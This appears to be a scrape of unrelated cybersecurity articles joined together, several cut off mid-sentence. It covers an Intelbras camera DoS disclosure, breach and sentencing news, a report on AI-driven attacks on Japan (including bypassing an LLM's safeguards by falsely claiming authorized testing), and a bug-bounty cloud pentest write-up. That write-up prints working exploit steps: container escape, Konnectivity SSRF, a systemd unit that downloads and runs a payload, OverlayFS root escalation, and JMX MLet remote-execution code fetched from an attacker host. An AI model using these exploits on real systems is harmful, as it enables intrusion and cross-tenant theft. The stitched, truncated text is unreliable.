Background Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications. During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step. Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version. Firmware Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example. To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things. How authentication works The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete. Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash, where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID. If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information. Affected endpoint The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device. PoC: vulnerability exploitation Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade. Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing. The camera is online After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices. The camera is offline The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless. New firmware version After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint. Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine. Real risk An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera. The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users. Takeaways This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.
A Ukrainian national was sentenced to 70 months in prison for his role in Nefilim and Hive ransomware attacks targeting hospitals, government entities, and high-revenue businesses worldwide between 2018 and 2021. The sentence follows the extradition of 35-year-old Artem Aleksandrovych Stryzhak to the United States on April 30, 2025, after authorities arrested him in Spain in June 2024. "Artem Stryzhak is a prolific cybercriminal who worked with multiple ransomware groups to target U.S. businesses and hospitals," said Brett Leatherman, the FBI's Cyber Branch Operations Director. "These groups disrupted patient care and caused more than $100 million in losses. Today's sentence reflects the seriousness of Stryzhak's crimes and demonstrates the FBI's global reach and extensive network of international partners."
Three Japan-focused cyberattacks show how AI helps hackers scale operations, while exploiting old systems and weak security remains key. In autumn 2026, Japanese companies and other organizations reported a series of data leaks involving their web systems. On October 9, Japan’s National Cybersecurity Office issued a warning to businesses, while the head of the ruling party’s cybersecurity team described cyberspace as being in a “state of emergency.” Researchers at Trend Micro studied three attack infrastructures to understand how hackers use AI. Their findings show three different approaches, ranging from limited AI assistance to systems that use AI agents to manage almost an entire attack. The researchers looked at files that attackers left on servers anyone could reach. These included attack scripts, lists of targets, logs, and records of commands. The files showed attacks on organizations in Japan and other countries. But the researchers could not see the victims’ own logs or network records. So they could not confirm every break-in, measure the full damage, or say who was behind it. Attackers also like to claim more success than they really had. The researchers only counted a result as real when the evidence backed it up. The three cases show that AI does not play the same role in every cyberattack. “The cases differ along two dimensions: how much of the attack AI handled and how confidently we can establish its involvement.” reads the report. “Case A used AI to drive the entire workflow, which we confirmed. Case B was human-led, with confirmed AI assistance in planning and tool development. Case C showed high-confidence indications of AI use in a limited role, such as tool development. All three were active in 2026, and much of the activity preceded the previously published ARTEX reports.” Case A: AI agents managed the attack workflow. The researchers confirmed the use of CyberStrikeAI, an open-source penetration-testing platform built around AI agents. It handled reconnaissance, vulnerability checks, exploitation, data theft and reporting as part of a repeatable process. The platform split tasks among multiple AI agents. One record mentioned a credential-search agent in a system that used 44 agents. The platform could also generate Japanese content, including forms and fake login pages. Researchers identified at least 19 target organizations, including at least 16 in Japan. The system worked on several targets at once and kept traffic to each organization relatively low. This made the activity harder to detect by checking the logs of a single victim. Despite this automation, the platform rarely gained deep access to target systems. In many cases, it had no active session or web shell and showed no evidence of stolen data. The clearest intrusion started through an administration page that was publicly accessible on an old web system. The attackers did not need to exploit a newly discovered vulnerability. Case B: A human attacker used AI to plan and build tools. In this case, the operator made the main decisions but used a large language model to speed up planning and tool development. The researchers found an attack plan written by an LLM that targeted services providing AI and GPU resources. The attacker presented requests as authorized security testing to get around the model’s safety limits. The researchers say this was a false claim, although they did not publish the exact method. The attacker also targeted AI infrastructure, including platforms for AI workflows, data processing and model inference. The researchers believe the goal may have been to gain access to computing resources that could be used to run AI models cheaply. Some intrusions had serious consequences. In one case, the attacker gained control across several systems, including an FTP service, a database, an administrator account, a web shell and SSH access. The attacker also restored backdoors after they had been removed. In another case, a geographic information system server was exposed with default credentials. This provided access to hundreds of thousands of land and business records, as well as Windows credentials and email data. The evidence confirmed that information was downloaded. However, the researchers found no evidence that AI carried out these attacks independently. It helped the operator plan and build tools, while the actual work relied mainly on scripts, existing software and human decisions. Case C: AI played a limited role. Here, the operator appears to have used AI mainly to develop tools and scripts. The researchers found no evidence that it was involved in planning or managing the wider operation. They rated AI involvement as highly likely, but not confirmed, because they found no direct evidence such as prompts or API keys. The operator ran at least six campaigns in 2026, targeting exposed VPN devices and Oracle WebLogic servers. The targets included devices from Cisco, Citrix, F5 and Yamaha. In attacks against Yamaha RTX1210 routers, the operator did not exploit a product vulnerability. Instead, the attacker used credentials found in configuration files. These credentials provided direct access to internal corporate networks. The researchers also found signs that AI may have helped write some commands and scripts. These included unusually structured comments and emoji used as status markers. Such clues can support an assessment, but they cannot prove AI use on their own. Japan was the main target in all three operations, but attackers also targeted other countries and regions. All three used Simplified Chinese, but this does not prove they came from the same group or location. “Simplified Chinese was the working language in all three infrastructures. Japan was the largest target country, although the operators also pursued nearby countries and regions. Entry points were exposed legacy systems or weaknesses left in default configurations.” concludes the report. “Target selection was opportunistic across industries: the operators sought systems that were easy to attack from outside and acted on what they found.” The main difference was how AI was used. In one case, AI agents managed much of the attack and worked on many targets at once. In another, AI helped a human plan attacks and build tools. In the third, AI was mainly used to develop tools. AI helped make attacks faster and easier to scale, but attackers still exploited familiar weaknesses, such as outdated web systems, exposed admin pages, default passwords and poorly secured network devices. Researchers also found that AI tools sometimes reported planned actions as successful, making it essential to verify their results. AI can also help defenders discover vulnerabilities. However, researchers found no evidence that these three operations used AI-discovered zero-day flaws. Their attacks relied on known vulnerabilities and poor security settings. The report identifies six main priorities for defenders: Review public-facing systems. Identify old web applications and update them or isolate them if they cannot be secured. Protect administration pages. Check that management interfaces are not exposed to the internet without a clear need and strong access controls. Secure VPNs and network devices. Review configurations, remove default credentials and check for reused passwords. Protect internal AI services. Include AI workflows, inference services and GPU systems in asset inventories, and check whether they are exposed. Improve monitoring. Look for low-volume attacks spread across many targets, which may be difficult to spot in the logs of a single organization. Prepare for AI misuse. Organizations that use LLMs for work should train staff to recognize requests that falsely claim to be authorized security testing. These security weaknesses existed long before AI became widely available. AI simply helps attackers find and exploit them faster and across more systems. The time between discovering a vulnerability and using it in an attack may also become shorter. Organizations should install security updates quickly and apply temporary protections when patches are not available. Researchers still don’t know who was behind the three operations, whether they were connected or how much damage they caused. Further reports may provide more answers. “The attackers’ identities, whether the three cases share an operator, the full scale of the damage, and the AI models used remain unresolved. Our observations come from attacker-side files and still require confirmation from the affected organizations.” concludes the report. “We are considering further technical reporting on individual cases: AI-driven activity in Case A, AI assistance in Case B, and limited AI assistance in Case C. We will also continue working with the relevant organizations.” The main lesson is clear: AI can make cyberattacks faster and larger, but the basic security priorities remain the same. Organizations must identify systems exposed to the internet, strengthen access controls and detect suspicious activity before attackers turn a simple weakness into a serious breach. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, Italy)
Tailscale has released version 1.104.4 to fix flaws in its built-in SSH server that could let an attacker reach services and files on other servers that only the root user should be able to touch. The flaws are in how Tailscale SSH forwards network connections, a job the Tailscale background process carries out with root privileges. To use them, an attacker must
The GMO Group has urged customers to disconnect their systems from the internet and shut down computers after a threat actor who breached the company’s Onamae Desktop Cloud threatened to launch a ransomware attack today. The company later confirmed that data belonging to both the company and its customers had been published online. The alert concerns a cyberattack on Onamae Desktop Cloud, a popular VPS provider in Japan operated by GMO Internet, a member of GMO Internet Group and one of Japan's largest domain registrars. Last week, the company announced it detected an intrusion on October 20 that could have installed malware on up to 26,739 customers' servers. To minimize the risk, the company shut down the servers and reduced service availability before launching an investigation. The internet company assured customers that their payment information had not been exposed but warned that MetaTrader 4 and MetaTrader 5 (MT4/MT5) credentials and trading-account details may have been exposed or compromised. It urged customers to reset their passwords and terminate active sessions.
The University of New Mexico Health Sciences Center disclosed a cyberattack that caused system outages and disrupted patient care and academic activities. On Monday, UNM Health, the university’s healthcare provider, began temporarily limiting new patient admissions, diverting ambulances to nearby hospitals, and suspending outpatient surgeries and appointments. In an update on the incident, UNM said UNM Hospital and Sandoval Regional Medical Center remain open, and all clinics will resume scheduled appointments and procedures starting today, Tuesday, October 27. Regarding emergencies, the healthcare organization advised that people should call 911. However, today’s classes at its four health sciences schools are canceled, and nonessential HSC employees were instructed to stay home. UNM Health is a major statewide provider of specialist care with more than 1 million patient visits annually.
Italy ’s Parliament cyberattack highlights hybrid warfare risks and the need for transparency, stronger defenses and accountability. The cyberattack targeting email accounts at Italy’s Chamber of Deputies, including a parliamentary account assigned to Prime Minister Giorgia Meloni, raises questions that go well beyond the security of individual inboxes. At a time when European institutions face growing cyber pressure, the incident highlights how access to political communications can become part of a broader hybrid warfare strategy. The Chamber confirmed that its IT systems had been targeted and said it had activated security measures in cooperation with Italy’s National Cybersecurity Agency (ACN). According to reports, three parliamentary email accounts were affected, including those associated with Meloni, former Justice undersecretary Andrea Delmastro and lawmaker Paolo Formentini. Palazzo Chigi clarified that the account assigned to Meloni was not the one she uses for government communications. That distinction matters, but it does not settle the broader security questions raised by the incident. The public information available so far does not provide a complete technical account of what happened, what level of access the attackers may have obtained, or whether any information was taken. The Chamber described the incident as having no emergency implications, adding that attacks of this kind occur daily. It also confirmed that similar attempts and pressure on IT systems had intensified in recent days, affecting other Italian, European and international institutions. This combination of statements deserves closer scrutiny. Cyberattacks may be a daily occurrence, but their frequency does not make every incident routine or harmless. The significance of an attack depends on the target, the access obtained, the information exposed and the wider strategic context. An email account is more than a channel for exchanging messages. It can reveal professional relationships, contacts, ongoing discussions, schedules and the way an institution operates. Depending on the level of access obtained, an attacker may also find documents, personal information or details that could help target other officials. A compromised account can provide a starting point for further attacks. Messages sent from a legitimate address may appear trustworthy, making it easier to approach colleagues, political staff or external partners. Information gathered from correspondence can also support impersonation, targeted phishing or attempts to obtain access to other systems. Even an account that is not used for government business can therefore have intelligence value. The important question is not simply whether an account handles classified information, but what an attacker could learn from it and how that information might be used. The distinction between an attempted attack and a confirmed compromise is equally important. Public statements have not yet provided enough technical detail to establish the full extent of the incident. Investigators need to determine whether access was blocked, whether an account was accessed, whether messages were read and whether credentials or other information were exposed. These are different scenarios, with different implications for security. The incident should also be considered against the backdrop of growing cyber pressure on public institutions. On October 8, Italy’s Foreign Ministry was targeted by a distributed denial-of-service (DDoS) attack that media reports linked to pro-Russian actors. A DDoS attack and an intrusion targeting email accounts are technically different operations, and there is currently no public evidence linking the two incidents. Their broader significance, however, lies in the pressure they place on institutions and the range of objectives that cyber operations can serve. Hybrid warfare does not rely on a single method. It can combine cyber operations, intelligence gathering, propaganda, disinformation, economic pressure and other activities designed to exploit weaknesses or influence decision-making. These actions do not necessarily need to be coordinated in every case to contribute to a more hostile strategic environment. In this context, a cyber operation does not need to shut down a public service to have an impact. An attacker who gains access to political correspondence may seek information about relationships between officials, internal priorities or ongoing discussions. That information could potentially support intelligence operations, help prepare future intrusions or provide material for influence campaigns. Stolen communications can also be selectively leaked, manipulated or presented without context to damage reputations and undermine public trust. The value of such material may lie less in its immediate technical impact than in how it can be used later. These are possible scenarios, not established facts about the attack on the Chamber. The public perception of an incident can itself become part of the problem. A successful intrusion, if confirmed, can raise doubts about an institution’s ability to protect sensitive communications. A poorly handled response can deepen those doubts, particularly if officials appear more concerned with reassuring the public than explaining what happened. None of this proves that the attack was directed by a foreign government or formed part of a coordinated influence operation. Attribution requires technical evidence, intelligence and careful analysis. Treating hybrid warfare as a serious risk means investigating these possibilities without presenting them as conclusions before the evidence supports them. The Chamber’s statement that the incident was not an emergency because similar attacks occur daily is, at best, an inadequate explanation of the risk. It confuses the frequency of attacks with the seriousness of their potential consequences. Reassurance has a legitimate role in crisis communication. Institutions should prevent unnecessary alarm and explain when protective measures are working. But reassurance is not a substitute for transparency, especially when the technical investigation is still underway. The Chamber has acknowledged that cyber pressure has increased against other institutions in Italy and abroad. That admission makes it even more important to explain the nature of the threat and the measures being taken to address it. A responsible update should clarify what is known about the affected systems, which protective controls were activated, what investigators have established and which questions remain open. Sensitive technical details can be withheld when their disclosure could compromise an investigation or expose additional weaknesses. That does not justify treating the incident as unremarkable before its impact is understood. The response also needs to go beyond public statements. Authorities should review access controls, authentication mechanisms, account monitoring, email forwarding rules and the procedures used to detect suspicious activity. They should assess whether accounts that are no longer needed remain active and whether older accounts receive the same protection and monitoring as those used every day. The objective is not to assume that a dormant account caused the incident, but to ensure that every account represents only an acceptable level of risk. The attack should prompt a broader review of how parliamentary communications are protected and how cyber incidents are handled. New agencies, appointments and organizational structures can contribute to security, but they do not guarantee it. Their value depends on clear responsibilities, technical expertise, adequate resources, tested response procedures and measurable results. Cooperation between the Chamber and the ACN is important, but the public also needs a clear account of how the incident is being investigated and what corrective action follows. Where the investigation establishes weaknesses, those weaknesses must be addressed rather than obscured by general assurances. The challenge is particularly significant as Italy and other European countries prepare for future elections. Political institutions may face not only attempts to disrupt their services but also operations intended to collect information, exploit internal divisions or influence public debate. Cybersecurity is therefore part of democratic resilience, alongside the ability to identify manipulated information, communicate reliably and maintain public confidence. The first priority must be to establish what happened at the Chamber and avoid unsupported claims about the attackers’ identity or objectives. The next is to use the findings to strengthen the security of parliamentary communications and other institutional systems. An institution’s response should be judged not by its claims that an attack is under control, but by its ability to establish what happened, communicate the risks clearly and fix the weaknesses identified. As hybrid threats grow, downplaying an incident before its implications are fully understood sends the wrong message: protecting the institution’s public image appears to take precedence over identifying and reducing the risks. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, Italy)
The Tailscale security team is working to patch almost a dozen security vulnerabilities that could be exploited to steal credentials, crash servers, gain root privileges, and more. Tailscale develops a software-defined mesh virtual private network (VPN) built on WireGuard that lets users connect computers, servers, and cloud instances from anywhere to the same encrypted mesh network ("tailnet") via direct peer-to-peer (P2P) connections. Cyberdione Labs discovered 11 flaws (collectively known as Tailworm) that still lack patches during a security audit of Tailscale 1.104.2 and the self-hosted headscale v0.29.5 control server. "All findings were verified by reproduction in a lab environment on unmodified, released software (tailscale v1.104.2, headscale v0.29.5)," said Erica Windisch, founder of Cyberdione Labs, who reported the flaws to Tailscale and publicly released the details.
Microsoft has fixed a flaw in its Authenticator app for Android that let a malicious app with no permissions pose as a trusted Microsoft app, such as Teams, and collect sign-in tokens for a victim's work account. Microsoft tracks the flaw as CVE-2026-80097 and fixed it in Authenticator for Android version 6.2606.4246, so anyone using the app should update. In the researchers' tests,
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product. Introduction Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure. This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026). 1. Gaining initial access through a managed Kubernetes cluster Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud. 1.1. Escaping the worker node First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container. kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }'After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine: nsenter --target 1 --mount --uts --ipc --net --pid – bashAfter this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine. Kubelet configuration and API server address Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack. Konnectivity service account token 1.2. Analysis of control plane services After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports: 192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics"Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service. Interaction diagram between control plane and data plane via Konnectivity 1.3. Exploiting Konnectivity To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes. A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation. Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream. service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} }The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this: //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; }The server reads any Packet packets from the stream initiated by the agent (worker node): //apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- inNext, the packets go to the backend manager: //apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type {Then comes the most interesting part: //apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend)In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ). //apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and addressThis created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane: org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwarePropertiesUsing the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID: busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true falseThe following sockets were then opened: /run/user/997/bus /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service: StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object pathThe properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line: ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"As a result, we successfully received a callback from the control plane. Konnectivity-server context and node network interfaces Mirantis, the company behind the k0s project, confirmed the vulnerability. 1.4. Privilege escalation on the host Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later). In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation. To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges. rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' Confirmation of command execution with root privileges Gaining root privileges opened up several interesting attack vectors: We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack. 2. Adventures in the overlay network 2.1. Victoria stack An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics. When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata: "discoveredLabels": { "__address__": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "__metrics_path__": "/metrics", "__scheme__": "http", "__scrape_interval__": "2m0s", "__scrape_timeout__": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" }It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address. We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud. Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs. Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used. Private SSH key in a VictoriaLogs record We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters. Process privileges on the host and available actions in Kubernetes Logs from other types of services could likely reveal additional sensitive data that would further increase the impact. 2.2. Compromising managed Kafka instances We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry. Discovered Java RMI service on port 9999 The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure: JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL). JmxInvoke.java: invokes the selected MBean method through the JMX Registry. ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution. The code that handles the connection and initialization of the MBean component looks like this: //JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } }Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding: // Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } }After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it. <html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html>We then perform the following steps: Create a standard MLet loader inside the Kafka JVM. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html. Call the run(String cmd) method of 